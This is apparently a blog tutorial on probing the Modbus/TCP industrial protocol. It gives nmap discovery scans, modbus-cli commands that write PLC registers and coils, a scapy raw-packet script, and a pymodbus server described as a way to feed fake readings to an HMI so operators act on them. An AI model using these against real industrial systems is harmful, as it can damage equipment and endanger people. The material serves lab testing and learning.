A brief introduction into MODBUS exploitation

Modbus was introduced in 1979 and was not designed to be available on public networks! Devices using this protocol should not be available on the internet under any circumstances! Basically, if I can see this protocol via Internet then I own your device!

Since this more more a sketch on how to approach a modbus protocol from the security point of view, the maintained sketch is on github: https://github.com/caffedrine/Tools/blob/master/Pentest/Industrial/Modbus/README.md

This protocol is **build upon model a request and replay model**! The focus will be on modbus over TCP/IP!

The MBAP includes the following:
  • Transaction ID and 2 bytes set by the client to uniquely identify each request. These bytes are echoed by the server since its responses may not be received in the same order as the requests.
  • Protocol ID and 2 bytes set by the client. Always equals 00 00.
  • The Length and 2 bytes identifying the number of bytes in the message to follow.
  • The Unit ID and 1 byte set by the client and echoed by the server for the identification of a remote slave connected on a serial line or on some other communication medium.

Simulate a Modbus Server

Library pyModbus is used in order to achieve this task! Official documentation and stuff is here: https://pymodbus.readthedocs.io/en/latest/index.html

1. Install dependencies

$ sudo apt-get install python-pip
$ sudo -H pip install cryptography awscli pyModbus

2. Script to start the server

#!/usr/bin/env python
# Pymodbus Asynchronous Server Example

# import the various server implementations 
from pymodbus.server.async import StartTcpServer
from pymodbus.server.async import StartUdpServer
from pymodbus.server.async import StartSerialServer

from pymodbus.device import ModbusDeviceIdentification
from pymodbus.datastore import ModbusSequentialDataBlock
from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer

# configure the service logging
import logging
logging.basicConfig()
log = logging.getLogger()
log.setLevel(logging.DEBUG)

store = ModbusSlaveContext(
    di = ModbusSequentialDataBlock(0, [17]*100),	# Discrete inputs initializer
    co = ModbusSequentialDataBlock(0, [17]*100),	# Coils initializer
    hr = ModbusSequentialDataBlock(0, [17]*100),	# Holding register initializer
    ir = ModbusSequentialDataBlock(0, [17]*100))	# Input registers initializer
context = ModbusServerContext(slaves=store, single=True)

# initialize the server information
identity = ModbusDeviceIdentification()
identity.VendorName  = 'Pymodbus'
identity.ProductCode = 'PM'
identity.VendorUrl   = 'http://github.com/bashwork/pymodbus/'
identity.ProductName = 'Pymodbus Server'
identity.ModelName   = 'Pymodbus vServer'
identity.MajorMinorRevision = '1.0'
 
# run the server you want 

# Modbus over Ethernet via IP
StartTcpServer(context, identity=identity, address=("localhost", 502))
#StartUdpServer(context, identity=identity, address=("127.0.0.1", 502))

# Serial
#StartSerialServer(context, identity=identity, port='/dev/pts/3', framer=ModbusRtuFramer)
#StartSerialServer(context, identity=identity, port='/dev/pts/3', framer=ModbusAsciiFramer)

Save as: python_server.py

Original script: https://pymodbus.readthedocs.io/en/latest/examples/asynchronous-server.html

Very usefull when there is an HMI requesting data from a PLC via Modbus! In this case, using the server above, you alter data received by HMI! The point is to manipulate HMI (human machine interface) to take actions according to your fake data! For example, by manipulating displayed value for a temperature cooker, an attacker can make the operator think the temperature is too low or too high and have him/her act upon manipulated data!

3. Start modbus server:

$ sudo python modbus_server.py

Identify modbus devices on a network

nMap is required:

$ sudo apt-get install nmap

  • Identify online hosts with mbap header on the network.$ nmap -Pn -sT -p502 --script modbus-discover 10.0.0.1/24
  • Scan only a target$ nmap 10.0.0.100 -p502 --script modbus-discover

Modbus clients

If you want to test on local, make sure you have started modbus server!

Before starting, you have to know what to read and from what location! The Modbus commands supports the addressing areas 1…99999 for coils and 400001…499999 for the rest using Modicon addresses!

1. modbus-cli

Data type Data size Schneider address Modicon address Parameter
Words (default, unsigned) 16 bits %MW1 400001 –word
Integer (signed) 16 bits %MW1 400001 –int
Floating point 32 bits %MF1 400001 –float
Double words 32 bits %MD1 400001 –dword
Boolean (coils) 1 bit %M1 400001 N/A

Ruby is required for this tool!

$ sudo apt-get install ruby
$ sudo gem install modbus cli

Read examples:

# Read first 5 coils status
$ modbus read 127.0.0.1 %M1 5 

# Read first 5 input registers
$ modbus read 127.0.0.1 1 5

# Read 10 integer registers starting at address 400001
$ modbus read --word 127.0.0.1 400001 10

Write exmples:

# Usually, these values are provided by external digital(boolean) sensors and equipments
# Write value 0 on first input register
$ modbus write 127.0.0.1 1 0

# Check if value is actually written
$ modbus read 127.0.0.1 1 5

# In real life these values are provided by sensors
# Write an 16 bit integer at specific address
$ modbus write --int 127.0.0.1 400001 123
$ modbus read --word 127.0.0.1 400001 10

# The coils commands actuators, relays and stuff
# Write and read coils
$ modbus write 127.0.0.1 %M5 0
$ modbus read 127.0.0.1 %M1 10

Shortly, use %M.. for coils and direct addresses 400001… for the rest of the data

2. scapy

Scapy is a beautiful interactive tool used to manipulate network packets! Is can be used for any internet protocol but now I will use it to comminicate with a modbus server!

Install scapy and it’s dependencies

sudo -H python -mpip install -U pip
sudo -H python -mpip install -U matplotlib
sudo -H pip install scapy

How to use

$ sudo scapy
Welcome to Scapy (2.3.3)
>>>

Now we build our own Ethernat packet:

#!/usr/bin/sudo python
from scapy.all import *

# Connection routes
srcIP 	= "127.0.0.1"
destIP	= "127.0.0.1"
srcPort = random.randint(1024,65535)
destPort= 502

# TCP SYN
ip=IP(src=srcIP, dst=destIP)
SYN=TCP(sport=srcPort, dport=destPort, flags="S", seq=100)
SYNACK=sr1(ip/SYN)

# TCP ACK
my_ack = SYNACK.seq + 1
ACK=TCP(sport=srcPort, dport=destPort, flags="A", seq=101, ack=my_ack)
send(ip/ACK)

# Custom modbus packet
raw_payload = '00010000000601010001000F'			# This is the 12 bytes modbus packet!
payload = binascii.unhexlify(raw_payload)
PUSH=TCP(sport=srcPort, dport=destPort, flags="", seq=101, ack=my_ack)
send(ip/PUSH/payload)

Save as modbus_client.py

IMPORTANT: It will not work if you don’t add this firewall rule:

$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

Why? -> https://www.sans.org/reading-room/whitepapers/testing/taste-scapy-33249

3. RAW Requests using C Sockets

If you like C and the protocol you want to exploit requires special packets, I already made a C application to customize the whole PDU and MBAP header:

https://github.com/caffedrine/ModbusRAW/

Conclusins

!!! Beaware that in real life any chnages on a PLC may lead to physical damages on equipments and can have a direct impact on the health and human welfare! Even the nMap scan can be dangerous in a SCADA network!

Resources and bibliography:

Maintained post: https://github.com/caffedrine/Tools/blob/master/Pentest/Industrial/Modbus/README.md

Related posts:

Got something to say? Go for it!